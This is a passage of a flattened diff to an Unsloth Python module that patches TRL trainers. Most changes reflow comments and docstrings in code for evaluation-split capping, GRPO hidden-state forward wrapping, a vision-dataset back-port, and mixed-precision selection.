lengths, not tokens: slicing input_ids under a seq_lengths that- # still describes the longer row builds position ids for tokens the row no longer has.+ # A packed split carries document lengths, not tokens: slicing input_ids under a seq_lengths that still describes the longer row builds position ids for tokens the row no longer has.if "seq_lengths" in names:return _mark_capped(dataset, cap, drop_unsupervised)try:- # TRL slices [-max_length:] for keep_end, and so does the construction-time cap; always keeping the- # prefix evaluates the wrong half of every long row.+ # TRL slices [-max_length:] for keep_end, and so does the construction-time cap; always keeping the prefix evaluates the wrong half of every long row.mode = getattr(args, "truncation_mode", "keep_start")- # keep_start and keep_end are the only two slices there are, and a third value silently became- # keep_start here. Refusing means handing the split back untouched so the caller still has it.+ # keep_start and keep_end are the only two slices there are, and a third value silently became keep_start here. Refusing means handing the split back untouched so the caller still has it.if mode not in ("keep_start", "keep_end"):print(f"Unsloth: `truncation_mode = {mode}` is not one of "@@ -1307,25 +1057,20 @@ def _wrap_sft_evaluate_cap(trainer_cls):return datasetcut = slice(-cap, None) if mode == "keep_end" else slice(None, cap)per_token = _sliceable_per_token(dataset, names, cap, probed)- # Never on the predict path: dropping rows is right for a loss and wrong for predict, whose contract- # is one prediction per row IN ORDER.+ # Never on the predict path: dropping rows is right for a loss and wrong for predict, whose contract is one prediction per row IN ORDER.supervision = _supervision_columns(args, names) if drop_unsupervised else []- # A stream has no length, cannot be rewound, and on datasets 4.x dataset[0] reads 0 as a- # COLUMN name rather than failing. Use map(), which is lazy over every row it will yield.+ # A stream has no length, cannot be rewound, and on datasets 4.x dataset[0] reads 0 as a COLUMN name rather than failing. Use map(), which is lazy over every row it will yield.overlength = Trueif not _is_stream(dataset):try:overlength = max(len(r) for r in dataset["input_ids"]) > capexcept Exception:- # The scan only exists to skip a pointless map; a split with no column access cannot answer it, and- # that is no reason to hand it back uncapped.+ # The scan only exists to skip a pointless map; a split with no column access cannot answer it, and that is no reason to hand it back uncapped.pass- # A split already under the cap still goes through the supervision filter below: being short is not- # the same as being supervised, and a row whose labels are all -100 is a NaN loss either way.+ # A split already under the cap still goes through the supervision filter below: being short is not the same as being supervised, and a row whose labels are all -100 is a NaN loss either way.if not overlength and not supervision:return _mark_capped(dataset, cap, drop_unsupervised)- # A split we cannot rewrite is capped on read instead: map belongs to datasets, and a with_transform- # split has it but recreates its rows on every read, so mapping writes a table nobody reads.+ # A split we cannot rewrite is capped on read instead: map belongs to datasets, and a with_transform split has it but recreates its rows on every read, so mapping writes a table nobody reads.transform = str((getattr(dataset, "format", None) or {}).get("type", "")).lower()if (not hasattr(dataset, "map")@@ -1345,8 +1090,7 @@ def _wrap_sft_evaluate_cap(trainer_cls):_cut = cut,_cols = tuple(per_token),):- # Per value, not per column: _sliceable_per_token judges by ONE row, so an optional column- # that is None three rows later raised inside map and the catch returned the UNCAPPED split.+ # Per value, not per column: _sliceable_per_token judges by ONE row, so an optional column that is None three rows later raised inside map and the catch returned the UNCAPPED split.out = {}width = Nonefor name in _cols:@@ -1363,9 +1107,7 @@ def _wrap_sft_evaluate_cap(trainer_cls):return outnew = dataset if not overlength else dataset.map(_slice_row)- # A truncated row can end all -100, or with an all-zero mask the collator makes all -100, and- # such a batch reports a NaN loss. Intersect labels AND every active mask, not one filter- # each: masks are applied ONTO the labels, so separate filters still pass an all -100 row.+ # A truncated row can end all -100, or with an all-zero mask the collator makes all -100, and such a batch reports a NaN loss. Intersect labels AND every active mask, not one filter each: masks are applied ONTO the labels, so separate filters still pass an all -100 row.if supervision:kept = new.filter(lambda e, c = tuple(supervision): any(@@ -1373,8 +1115,7 @@ def _wrap_sft_evaluate_cap(trainer_cls):for v in zip(*[e[n] for n in c])))- # Hand back the caller's own split when the filter dropped nothing: a copy of an unchanged dataset- # is a new object for the trainer to cache and reload for no reason.+ # Hand back the caller's own split when the filter dropped nothing: a copy of an unchanged dataset is a new object for the trainer to cache and reload for no reason.try:new = new if len(kept) == len(new) else keptexcept Exception:@@ -1384,23 +1125,7 @@ def _wrap_sft_evaluate_cap(trainer_cls):return dataset # never turn an eval call into a hard errordef _memo_token(dataset):- """What makes this split's cap reusable, or None if nothing does.-- Identity alone is not enough: the same list or custom map-style split can- be appended to or shortened between two `evaluate()` calls, and the memo- would hand back a wrapper whose snapshotted indices no longer describe- it -- rows silently missing, or an index that raises during loading.- `datasets` splits are content-addressed by `_fingerprint`, which moves- whenever the rows do, so those are safe to keep. Anything else is- recomputed, which is the cheap case anyway: the scan this memo exists to- skip needs a materialised `input_ids` column that these do not have.-- A `with_transform` split is excluded even though it has a fingerprint:- that covers the backing table, not the transform, so a transform closing- over mutable state yields different rows under an unchanged fingerprint- and the memo would replay a filter decided against the old ones. That is- the same question the cap mark asks, so it is the same helper.- """+ """What makes this split's cap reusable, or None if nothing does. Identity alone is not enough: the same list or custom map-style split can be appended to or shortened between two ``evaluate()`` calls, leaving a wrapper whose snapshotted indices no longer describe it. ``datasets`` splits are content-addressed by ``_fingerprint``, which moves whenever the rows do, so those are safe to keep; anything else is recomputed, which is the cheap case anyway. A ``with_transform`` split is excluded despite its fingerprint, which covers the backing table and not the transform."""return _mutation_token(dataset)def _cap_cached(@@ -1410,15 +1135,8 @@ def _wrap_sft_evaluate_cap(trainer_cls):drop_unsupervised = True,packs_late = False,):- """Cap a split once per object.-- `evaluate()` runs at every eval step of a training run, and the scan that- decides whether anything needs cutting materialises the whole `input_ids`- column each time. Keep the answer, keyed on the split object and holding a- reference to it, so a later split cannot inherit its `id()`.- """- # Carried onto args because _cap only ever sees those. `is not None` rather than truthiness: False- # is TRL's answer just as much as True.+ """Cap a split once per object. ``evaluate()`` runs at every eval step and the scan materialises the whole ``input_ids`` column each time, so keep the answer, keyed on the split object and holding a reference to it so a later split cannot inherit its ``id()``."""+ # Carried onto args because _cap only ever sees those. `is not None` rather than truthiness: False is TRL's answer just as much as True.resolved = getattr(trainer, "completion_only_loss", None)if resolved is not None:try:@@ -1435,14 +1153,12 @@ def _wrap_sft_evaluate_cap(trainer_cls):trainer._unsloth_eval_cap_memo = memoexcept Exception:return _cap(dataset, cap, trainer.args, drop_unsupervised, packs_late)- # truncation_mode shapes the SLICE, so it belongs in the key: without it, evaluating once with- # keep_start and again with keep_end handed back the cached prefixes for both.+ # truncation_mode shapes the SLICE, so it belongs in the key: without it, evaluating once with keep_start and again with keep_end handed back the cached prefixes for both.key = (id(dataset),drop_unsupervised,getattr(trainer.args, "truncation_mode", "keep_start"),- # evaluate and get_eval_dataloader share drop_unsupervised and see the same object in one call, but- # only the first may skip the cut under eval_packing.+ # evaluate and get_eval_dataloader share drop_unsupervised and see the same object in one call, but only the first may skip the cut under eval_packing.packs_late,)seen = memo.get(key)@@ -1451,9 +1167,7 @@ def _wrap_sft_evaluate_cap(trainer_cls):return seen[2]capped = _cap(dataset, cap, trainer.args, drop_unsupervised, packs_late)memo[key] = (dataset, cap, capped, token)- # Bounded: every entry pins both the original split and the capped copy for the trainer's- # life, so a later split cannot inherit a freed id(). A fresh subset per epoch otherwise- # accumulated Arrow tables until the host ran out.+ # Bounded: every entry pins both the original split and the capped copy for the trainer's life, so a later split cannot inherit a freed id(). A fresh subset per epoch otherwise accumulated Arrow tables until the host ran out.while len(memo) > _EVAL_CAP_MEMO_MAX:memo.pop(next(iter(memo)))return capped@@ -1465,14 +1179,12 @@ def _wrap_sft_evaluate_cap(trainer_cls):drop_unsupervised = True,packs_late = False,):- # evaluate(eval_dataset = "validation") picks one split out of a stored dict, and capping the- # KEY is a no-op, so the split it names reached the collator uncapped.+ # evaluate(eval_dataset = "validation") picks one split out of a stored dict, and capping the KEY is a no-op, so the split it names reached the collator uncapped.if isinstance(given, str):stored = getattr(trainer, "eval_dataset", None)if isinstance(stored, dict) and given in stored:capped = _cap_cached(trainer, stored[given], cap, drop_unsupervised, packs_late)- # Staged for the caller to swap in and OUT: overwriting stored[given] destroyed the uncapped- # original, so a later truncation_mode = "keep_end" could only re-cap the saved prefix.+ # Staged for the caller to swap in and OUT: overwriting stored[given] destroyed the uncapped original, so a later truncation_mode = "keep_end" could only re-cap the saved prefix.if capped is not stored[given]:trainer._unsloth_pending_split_swap = (stored, given, capped)return given@@ -1490,9 +1202,7 @@ def _wrap_sft_evaluate_cap(trainer_cls):def wrapped(self, *args, **kwargs):cap = getattr(getattr(self, "args", None), "max_seq_length", None)retained = getattr(getattr(self, "args", None), "max_length", None)- # A retained max_length does not prove the cap is enforced: it is what the construction block- # leaves when it turns padding-free OFF, TRL's collator never truncates rows carrying- # input_ids, and _prepare_dataset runs only from __init__.+ # A retained max_length does not prove the cap is enforced: it is what the construction block leaves when it turns padding-free OFF, TRL's collator never truncates rows carrying input_ids, and _prepare_dataset runs only from __init__.if retained is not None:cap = retainedif not cap:@@ -1508,8 +1218,7 @@ def _wrap_sft_evaluate_cap(trainer_cls):swap = getattr(self, "_unsloth_pending_split_swap", None)if swap is None:return original(self, *args, **kwargs)- # A named split: swap the capped copy in for this call only, so the caller keeps the uncapped- # original for the next mode.+ # A named split: swap the capped copy in for this call only, so the caller keeps the uncapped original for the next mode.container, key, replacement = swapself._unsloth_pending_split_swap = Noneprevious = container[key]@@ -1518,17 +1227,14 @@ def _wrap_sft_evaluate_cap(trainer_cls):return original(self, *args, **kwargs)finally:container[key] = previous- # evaluate() with no split falls back to the one stored on the trainer, which a caller can install- # after construction, where the constructor's cap can no longer see it. Every eval during- # training comes through here too.+ # evaluate() with no split falls back to the one stored on the trainer, which a caller can install after construction, where the constructor's cap can no longer see it. Every eval during training comes through here too.stored = getattr(self, keyword, None) if keyword == "eval_dataset" else Noneif stored is None:return original(self, *args, **kwargs)capped = _cap_splits(self, stored, cap, drop_unsupervised, packs_late)if capped is stored:return original(self, *args, **kwargs)- # Swapped onto the trainer rather than passed down: Trainer.evaluate recurses over a dict of- # splits by NAME when nothing was passed, and passing the dict makes that an override.+ # Swapped onto the trainer rather than passed down: Trainer.evaluate recurses over a dict of splits by NAME when nothing was passed, and passing the dict makes that an override.setattr(self, keyword, capped)try:return original(self, *args, **kwargs)@@ -1538,11 +1244,7 @@ def _wrap_sft_evaluate_cap(trainer_cls):wrapped._unsloth_eval_cap_wrapped = Truereturn wrapped- # predict keeps every row: one prediction per row, in order. The two dataloader builders are- # public API and bypass evaluate/predict, so get_eval_dataloader(late) met the padding-free- # collator with max_length already cleared and nothing capping the split.- # Only evaluate can hand its split to TRL's own prep, and only from 1.7.0. Read once, before- # anything is wrapped, so the probe sees TRL's method rather than ours.+ # predict keeps every row: one prediction per row, in order. The two dataloader builders are public API and bypass evaluate/predict, so get_eval_dataloader(late) met the padding-free collator with max_length already cleared and nothing capping the split. Only evaluate can hand its split to TRL's own prep, and only from 1.7.0; read once, before anything is wrapped, so the probe sees TRL's method rather than ours.prepares_late = _trl_prepares_late_evals(trainer_cls)for name, keyword, drop_unsupervised, packs_late in (("evaluate", "eval_dataset", True, prepares_late),@@ -1559,14 +1261,12 @@ def _wrap_sft_evaluate_cap(trainer_cls):_UNSLOTH_RETURN_HIDDEN_STATES_SUPPORT_MARKER = "__UNSLOTH_SUPPORTS_RETURN_HIDDEN_STATES__"_UNSLOTH_GRPO_HIDDEN_STATES_WRAPPED_ATTR = "_unsloth_grpo_hidden_states_forward_wrapped"_UNSLOTH_GRPO_HIDDEN_STATES_WARNING_ATTR = "_unsloth_grpo_hidden_states_warning_issued"-# Whether the MOST RECENT forward handed back real logits instead of hidden states: the warning-# attribute above is warn-once bookkeeping and is never cleared, so it answers "ever degraded".+# Whether the MOST RECENT forward handed back real logits instead of hidden states: the warning attribute above is warn-once bookkeeping and is never cleared, so it answers "ever degraded"._UNSLOTH_GRPO_HIDDEN_STATES_DEGRADED_ATTR = "_unsloth_grpo_hidden_states_degraded"def _module_returns_logits(module):- # get_output_embeddings() is None on the decoder bodies and the head module on the *ForCausalLM- # wrappers, so it finds the head owner by behaviour rather than by a model-name list.+ # get_output_embeddings() is None on the decoder bodies and the head module on the *ForCausalLM wrappers, so it finds the head owner by behaviour rather than by a model-name list.if module is None:return Falseget_output_embeddings = getattr(module, "get_output_embeddings", None)@@ -1590,9 +1290,7 @@ def _grpo_hidden_states_wrap_target(model):child = getattr(model, attr, None)if child is None or child is model or not hasattr(child, "forward"):continue- # Descend only into an adapter that still owns the head: a bare *ForCausalLM (TRL's GRPO- # ref_model) also has .model, but that is its decoder body, so wrapping it returns- # [B, T, vocab] and the fallback is a silent no-op.+ # Descend only into an adapter that still owns the head: a bare *ForCausalLM (TRL's GRPO ref_model) also has .model, but that is its decoder body, so wrapping it returns [B, T, vocab] and the fallback is a silent no-op.if not _module_returns_logits(child):continuereturn child@@ -1668,9 +1366,7 @@ def _get_num_logits_to_keep(forward_signature, args, kwargs):def _warn_grpo_hidden_states_fallback_once(model, message):- # The degradation flag is per call: a forward that splats **kwargs into a sub-module raises- # only for the batches that reach it, so a sticky flag would send real hidden states through- # the raw-logits helper.+ # The degradation flag is per call: a forward that splats **kwargs into a sub-module raises only for the batches that reach it, so a sticky flag would send real hidden states through the raw-logits helper.setattr(model, _UNSLOTH_GRPO_HIDDEN_STATES_DEGRADED_ATTR, True)if getattr(model, _UNSLOTH_GRPO_HIDDEN_STATES_WARNING_ATTR, False):return@@ -1686,26 +1382,9 @@ def _note_grpo_hidden_states_success(model):def _minimise_logits_kwarg(forward_signature, args, forward_kwargs):"""Ask the model for as few logits as it will give us, and say which kwarg did it.- We are about to overwrite `outputs.logits` with hidden states, so every- logit the forward computes is thrown away. transformers spells the limit- `logits_to_keep` -- measured on 4.57.6, 5.0.0 and 5.15.0, all three declare- that name and none declares `num_logits_to_keep`, so the second name is not- for them. It is for us: `unsloth/models/llama.py` and `mistral.py` patch in- forwards declaring both, and `unsloth/models/vision.py` probes for the old- name FIRST because some VLM stacks still carry only it. Whichever name a- forward takes, it reads the value as- `slice(-value, None)`, so the DEFAULT of 0 becomes `slice(0, None)` -- the- whole sequence. The GRPO trainer does not pass a value at all, so the- lm_head projects every prompt and completion position over the full- vocabulary and, for the softcapped models, multiplies the result twice more.-- Muse Glimmer 30B on a Kaggle 2xT4 measured that at a 1002 MiB allocation- per chunk, over a 202048-wide vocabulary. On one card it is invisible: the- trainer's `del outputs` frees it a line later. On a layer-split model- accelerate copies it to the other card first and the run dies there.-- 1, not 0: 0 means "all of them", and a model that computes its own loss from- `labels` needs real logits, so that case is left alone.+ We are about to overwrite ``outputs.logits`` with hidden states, so every logit the forward computes is thrown away. transformers spells the limit ``logits_to_keep`` (measured on 4.57.6, 5.0.0 and 5.15.0, none of which declares ``num_logits_to_keep``); the second name is for us, since ``unsloth/models/llama.py`` and ``mistral.py`` patch in forwards declaring both and ``vision.py`` probes for the old name FIRST for VLM stacks carrying only it. Either name reads the value as ``slice(-value, None)``, so the DEFAULT of 0 means the whole sequence, and the GRPO trainer passes no value at all: the lm_head projects every position over the full vocabulary. Muse Glimmer 30B on a Kaggle 2xT4 measured 1002 MiB per chunk over a 202048-wide vocabulary, invisible on one card but fatal once accelerate copies it across a layer-split model.++ 1, not 0: 0 means "all of them", and a model that computes its own loss from ``labels`` needs real logits, so that case is left alone."""if forward_kwargs.get("labels") is not None:return None@@ -1713,8 +1392,7 @@ def _minimise_logits_kwarg(forward_signature, args, forward_kwargs):bound = forward_signature.bind_partial(*args, **forward_kwargs)except TypeError:return None- # A forward given labels positionally lands it in bound.arguments and never in forward_kwargs, so- # the lookup above cannot see it and the loss the model computes would be one position wide.+ # A forward given labels positionally lands it in bound.arguments and never in forward_kwargs, so the lookup above cannot see it and the loss the model computes would be one position wide.if bound.arguments.get("labels") is not None:return Noneaccepts_var_keyword = any(@@ -1725,8 +1403,7 @@ def _minimise_logits_kwarg(forward_signature, args, forward_kwargs):declared = name in forward_signature.parametersif not declared and not accepts_var_keyword:continue- # Positionally and by keyword is a TypeError. Give up rather than try the OTHER spelling,- # which would fight the caller's width or be swallowed by **kwargs and silently ignored.+ # Positionally and by keyword is a TypeError. Give up rather than try the OTHER spelling, which would fight the caller's width or be swallowed by **kwargs and silently ignored.if name in bound.arguments and name not in forward_kwargs:return Noneforward_kwargs[name] = 1@@ -1735,23 +1412,7 @@ def _minimise_logits_kwarg(forward_signature, args, forward_kwargs):def _drop_spare_hidden_states(outputs):- """Detach every hidden-state layer from `outputs`; the caller keeps the last.-- `outputs.hidden_states = None` does NOT do this. `ModelOutput.__setattr__`- is-- if name in field_names and value is not None:- super().__setitem__(name, value)- super().__setattr__(name, value)-- so assigning None sets the attribute and leaves the mapping entry holding- the full tuple, and `ModelOutput` blocks `__delitem__`, `pop`, `update` and- `setdefault` outright. Every consumer that walks the object as a mapping --- accelerate's `send_to_device`, which is the one that matters here -- still- sees and copies all of it. Writing through `OrderedDict.__setitem__` is what- actually clears it, and leaves the mapping and the attribute agreeing on- None, which is the state a forward returns with `output_hidden_states=False`.- """+ """Detach every hidden-state layer from ``outputs``; the caller keeps the last. ``outputs.hidden_states = None`` does NOT do this: ``ModelOutput.__setattr__`` only writes through to the mapping when the value is not None, and ``ModelOutput`` blocks ``__delitem__``, ``pop``, ``update`` and ``setdefault``, so the mapping entry keeps the full tuple and every consumer that walks the object as a mapping (accelerate's ``send_to_device``) still copies all of it. Writing through ``OrderedDict.__setitem__`` clears it and leaves mapping and attribute agreeing on None."""try:if isinstance(outputs, collections.OrderedDict) and "hidden_states" in outputs:collections.OrderedDict.__setitem__(outputs, "hidden_states", None)@@ -1761,8 +1422,7 @@ def _drop_spare_hidden_states(outputs):elif hasattr(outputs, "hidden_states"):outputs.hidden_states = Noneexcept Exception:- # A frozen or exotic output object is not worth failing the step over; the caller has already taken- # the layer it needs.+ # A frozen or exotic output object is not worth failing the step over; the caller has already taken the layer it needs.logger.debug("Unsloth: could not drop spare GRPO hidden states.",exc_info = True,@@ -1797,18 +1457,14 @@ def _install_grpo_hidden_states_forward_wrapper(model):model_name = type(target_model).__name__def wrapped_forward(*args, **kwargs):- # accelerate's extract_model_from_parallel(keep_fp32_wrapper = False), called every GRPO step,- # rebinds the forward as MethodType, so the module arrives as a leading positional argument;- # original_forward is already bound, so drop it.+ # accelerate's extract_model_from_parallel(keep_fp32_wrapper = False), called every GRPO step, rebinds the forward as MethodType, so the module arrives as a leading positional argument; original_forward is already bound, so drop it.while len(args) != 0 and args[0] is target_model:args = args[1:]if os.environ.get("UNSLOTH_RETURN_HIDDEN_STATES", "0") != "1":- # nobody asked for hidden states, so this returns real logitssetattr(target_model, _UNSLOTH_GRPO_HIDDEN_STATES_DEGRADED_ATTR, True)return original_forward(*args, **kwargs)- # Copy: _drop_forward_kwargs_consumed_positionally returns kwargs unchanged when there is- # nothing to drop, so mutating it would poison the caller's dict for the fallback calls.+ # Copy: _drop_forward_kwargs_consumed_positionally returns kwargs unchanged when there is nothing to drop, so mutating it would poison the caller's dict for the fallback calls.forward_kwargs = dict(_drop_forward_kwargs_consumed_positionally(forward_signature, args, kwargs))@@ -1831,9 +1487,7 @@ def _install_grpo_hidden_states_forward_wrapper(model):)return original_forward(*args, **kwargs)- # TRL 0.26+: Config may be in a separate *_config.py module- # Thin wrapper fallback: walk the Trainer's MRO to find Config in the real implementation module (e.g.,- # trl.experimental.bco)+ # TRL 0.26+: Config may be in a separate *_config.py module, or reachable by walking the Trainer's MRO to the real implementation module (trl.experimental.bco).try:outputs = original_forward(*args, **forward_kwargs)except TypeError as error:@@ -1842,10 +1496,7 @@ def _install_grpo_hidden_states_forward_wrapper(model):if not rejected_hidden_states(message):raisereturn forward_without_hidden_states()- # The signature advertised the parameter but the forward refuses the value: retry without the- # minimisation, through the same fallback, rather than lose hidden states over it: a forward that- # splats **kwargs into a sub-module can refuse the logits limiter and the hidden states one after- # the other.+ # The signature advertised the parameter but the forward refuses the value: retry without the minimisation rather than lose hidden states, since a forward that splats **kwargs into a sub-module can refuse the logits limiter and the hidden states one after the other.forward_kwargs.pop(logits_kwarg, None)logits_kwarg = Nonetry:@@ -1863,9 +1514,7 @@ def _install_grpo_hidden_states_forward_wrapper(model):)if logits_kwarg is None:return outputs- # outputs.logits is the return value now, and one position was asked for only to throw the- # logits away; GRPO drops the last and slices the completion window, so restore the caller's- # own limit and re-run.+ # outputs.logits is the return value now, and one position was asked for only to throw the logits away; GRPO drops the last and slices the completion window, so restore the caller's own limit and re-run.if logits_kwarg in kwargs:forward_kwargs[logits_kwarg] = kwargs[logits_kwarg]else:@@ -1875,9 +1524,7 @@ def _install_grpo_hidden_states_forward_wrapper(model):hidden_states = hidden_states[-1]if num_logits_to_keep != 0:hidden_states = hidden_states[:, -num_logits_to_keep:, :]- # Only the last layer is read, and accelerate's AlignDevicesHook.post_forward copies every- # tensor in the returned object to the input device, so keeping the rest costs a cross-device- # copy per layer as well as the memory.+ # Only the last layer is read, and accelerate's AlignDevicesHook.post_forward copies every tensor in the returned object to the input device, so keeping the rest costs a cross-device copy per layer as well as the memory._drop_spare_hidden_states(outputs)_note_grpo_hidden_states_success(target_model)return _replace_outputs_logits(outputs, hidden_states)@@ -1906,15 +1553,8 @@ def _wrap_grpo_hidden_states_fallback(trainer_cls):def _backport_vision_dataset_gate(RLTrainer_source):"""Make TRL 0.22.x decide by DATASET, not by model, for SFT vision paths.- 0.22.x keys "skip preparation" and "vision collator" off `_is_vlm` alone, so- a VLM fine-tuned on text-only data reaches transformers with no tokenized- columns: "No columns in the dataset match the model's forward method- signature". Merging the signature columns above is not enough, since skipped- preparation never creates those columns. Hit by- Magistral_(24B)-Reasoning-Conversational, which pins trl==0.22.2.-- Back-ports TRL 0.24.0's `_is_vision_dataset` keying; no-op once TRL defines- the flag itself. Returns the source, patched or unchanged."""+ 0.22.x keys "skip preparation" and "vision collator" off ``_is_vlm`` alone, so a VLM fine-tuned on text-only data reaches transformers with no tokenized columns ("No columns in the dataset match the model's forward method signature"). Merging the signature columns is not enough, since skipped preparation never creates those columns. Hit by Magistral_(24B)-Reasoning-Conversational, which pins trl==0.22.2. Back-ports TRL 0.24.0's ``_is_vision_dataset`` keying; no-op once TRL defines the flag itself. Returns the source, patched or unchanged.+ """if 'self._is_vision_dataset = "image" in dataset_sample' in RLTrainer_source:return RLTrainer_sourceanchor = " dataset_sample = next(iter(train_dataset))\n"@@ -1928,7 +1568,6 @@ def _backport_vision_dataset_gate(RLTrainer_source):' self._is_vision_dataset = "image" in dataset_sample or "images" in dataset_sample\n',1,)- # Text collator whenever the data is not actually vision data.RLTrainer_source = RLTrainer_source.replace("if data_collator is None and not self._is_vlm:","if data_collator is None and not (self._is_vlm and self._is_vision_dataset):",@@ -1937,7 +1576,6 @@ def _backport_vision_dataset_gate(RLTrainer_source):"elif data_collator is None and self._is_vlm:","elif data_collator is None and self._is_vlm and self._is_vision_dataset:",)- # Tokenize it too: skipping preparation only saves image-processing cost.RLTrainer_source = RLTrainer_source.replace('args.dataset_kwargs.get("skip_prepare_dataset", False) or self._is_vlm','args.dataset_kwargs.get("skip_prepare_dataset", False)'@@ -1947,14 +1585,11 @@ def _backport_vision_dataset_gate(RLTrainer_source):def _patch_trl_rl_trainers(trainer_file = "grpo_trainer"):- # Defensive wrapper matching patch_trl_rl_trainers()'s try/except, so direct callers do not see- # exceptions from the impl on TRL versions that rename or move classes.+ # Defensive wrapper matching patch_trl_rl_trainers()'s try/except, so direct callers do not see exceptions from the impl on TRL versions that rename or move classes.try:return _patch_trl_rl_trainers_impl(trainer_file)except Exception as e:- # Warning, not info: the impl RETURNS for the benign case, so reaching here means generation- # failed and the run silently falls back to trl's trainer, losing Unsloth's compute_loss,- # bf16/fp16 fixup and dataset handling.+ # Warning, not info: the impl RETURNS for the benign case, so reaching here means generation failed and the run silently falls back to trl's trainer, losing Unsloth's compute_loss, bf16/fp16 fixup and dataset handling.logger.warning_once(f"Unsloth: Could not build the patched trl.trainer.{trainer_file}, "f"so training will use trl's own trainer instead: "@@ -1995,8 +1630,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)returnif len(config) != 1:- # TRL 0.26+: the Config may be in a separate *_config.py module, or reachable by walking the- # Trainer's MRO to the real implementation module (trl.experimental.bco).+ # TRL 0.26+: the Config may be in a separate *_config.py module, or reachable by walking the Trainer's MRO to the real implementation module (trl.experimental.bco).config_module_name = trainer_file.replace("_trainer", "_config")try:config_mod = eval(f"trl.trainer.{config_module_name}")@@ -2055,7 +1689,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):config_module_name = trainer_file.replace("_trainer", "_config")RLConfig = eval(f"trl.trainer.{config_module_name}.{RLConfig_name}")except Exception:- # Thin wrapper fallback: load Config from parent trainer's module_config_loaded = Falsetry:_temp_cls = eval(f"trl.trainer.{trainer_file}.{name[0]}")@@ -2083,8 +1716,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):print(f"Unsloth: {RLConfig.__name__} is already patched.")return- # TRL 0.26+: resolve thin wrappers (trl.trainer shims forwarding to trl.experimental) to their- # parent class, and only when that parent really lives in a trl.experimental module.+ # TRL 0.26+: resolve thin wrappers (trl.trainer shims forwarding to trl.experimental) to their parent class, and only when that parent really lives in a trl.experimental module._trainer_resolved_module = Nonetry:_trainer_src = inspect.getsource(RLTrainer)@@ -2097,7 +1729,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):_parent_mod = inspect.getmodule(_parent)if _parent_mod is None:continue- # Only resolve to a parent that lives in trl.experimentalif "trl.experimental" in _parent_mod.__name__:RLTrainer = _parent_trainer_resolved_module = _parent_mod@@ -2131,7 +1762,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):all_imports = dir(_config_resolved_module)else:all_imports = dir(trainer)- # Fix _deprecate_arguments not getting imported so stop __ but not _imports = [x for x in all_imports if not x.startswith("__")]EMPTY = inspect.Parameter.empty@@ -2181,7 +1811,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):"processing_class = tokenizer if tokenizer is not None else processing_class",)- # Edit bf16, fp16 by checking the model's dtype/torch_dtype directly.extra_args = ""if "args" in call_args and "model" in call_args:mixed_precision = (@@ -2190,19 +1819,15 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):"use_fp16 = getattr(args, 'fp16', False)\n""if type(use_fp16) is not bool: use_fp16 = False\n""force_float32 = False\n"- # Device-aware bf16 check (CUDA/XPU/HIP), so V100/T4 never pick bf16 while AMD/Intel are unaffected;- # fall back on older unsloth_zoo.+ # Device-aware bf16 check (CUDA/XPU/HIP), so V100/T4 never pick bf16 while AMD/Intel are unaffected; fall back on older unsloth_zoo."try:\n"" from unsloth_zoo.device_type import device_is_bf16_supported as _bf16_supported\n""except Exception:\n"" _bf16_supported = torch.cuda.is_bf16_supported\n"- # FORCE_FLOAT32 models (Gemma3, gpt_oss) cannot use float16: without bf16 keep float32, with- # bf16 full finetuning may still autocast. Stamped by from_pretrained, since the env is- # process wide and a later load would otherwise answer for this trainer.+ # FORCE_FLOAT32 models (Gemma3, gpt_oss) cannot use float16: without bf16 keep float32, with bf16 full finetuning may still autocast. Stamped by from_pretrained, since the env is process wide and a later load would otherwise answer for this trainer."full_finetuning = getattr(model, '_unsloth_full_finetuning', None)\n""if full_finetuning is None: full_finetuning = os.environ.get('UNSLOTH_ENABLE_FULL_FINETUNING', '0') == '1'\n"- # Stamped by from_pretrained: the env is process wide, so a forced family loaded earlier would- # answer here for a model that is not forced at all.+ # Stamped by from_pretrained: the env is process wide, so a forced family loaded earlier would answer here for a model that is not forced at all."model_forced_float32 = getattr(model, '_unsloth_forced_float32', None)\n""if model_forced_float32 is None: model_forced_float32 = os.environ.get('UNSLOTH_FORCE_FLOAT32', '0') == '1'\n""if model_forced_float32 and not (full_finetuning and _bf16_supported()):\n"@@ -2216,8 +1841,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):"float16 = dtype == torch.float16\n""bfloat16 = dtype == torch.bfloat16\n""float32 = dtype == torch.float32\n"- # Set only when the caller passed dtype = torch.float32 themselves: a request, not a side effect of- # upcasting, and immune to a second load.+ # Set only when the caller passed dtype = torch.float32 themselves: a request, not a side effect of upcasting, and immune to a second load."user_float32 = bool(getattr(model, '_unsloth_user_float32', False))\n""if full_finetuning:\n"" if bfloat16 and use_fp16: use_fp16 = False\n"@@ -2232,9 +1856,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" if hasattr(args, 'mixed_precision'): args.mixed_precision = 'no'\n"" # args.mixed_precision is a new argument which needs to be set now\n""elif (not use_bf16 and not use_fp16) and mixed_precision_dtype == 'float32' and float32 and user_float32 and not _bf16_supported():\n"- # Without bf16 the only autocast is float16, whose exponent range overflows float32 to inf- # then NaN. Gated on the explicit request: fp16 autocast over fp32 master weights is the- # normal V100/T4 recipe (#4082).+ # Without bf16 the only autocast is float16, whose exponent range overflows float32 to inf then NaN. Gated on the explicit request: fp16 autocast over fp32 master weights is the normal V100/T4 recipe (#4082)." print('Unsloth: Model is in float32 and this GPU has no bfloat16 support, so training stays in float32. Pass fp16 = True to force float16 mixed precision instead.')\n"" args.fp16 = False\n"" args.bf16 = False\n"@@ -2265,7 +1887,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += mixed_precision- # Check if per_device_eval_batch_size (default 8) is bigger than bsz, and use FP16 / BF16 evaluation.if "args" in call_args:if "eval_dataset" in call_args:check_eval_dataset = (@@ -2309,7 +1930,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += eval_changes- # Force logits to be produced if preprocess_logits_for_metrics or compute_metrics is used.if "model" in call_args:logits_check = ("_output_logits = False\n"@@ -2350,7 +1970,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += length_check- # max_seq_length may be set here, but trl is moving 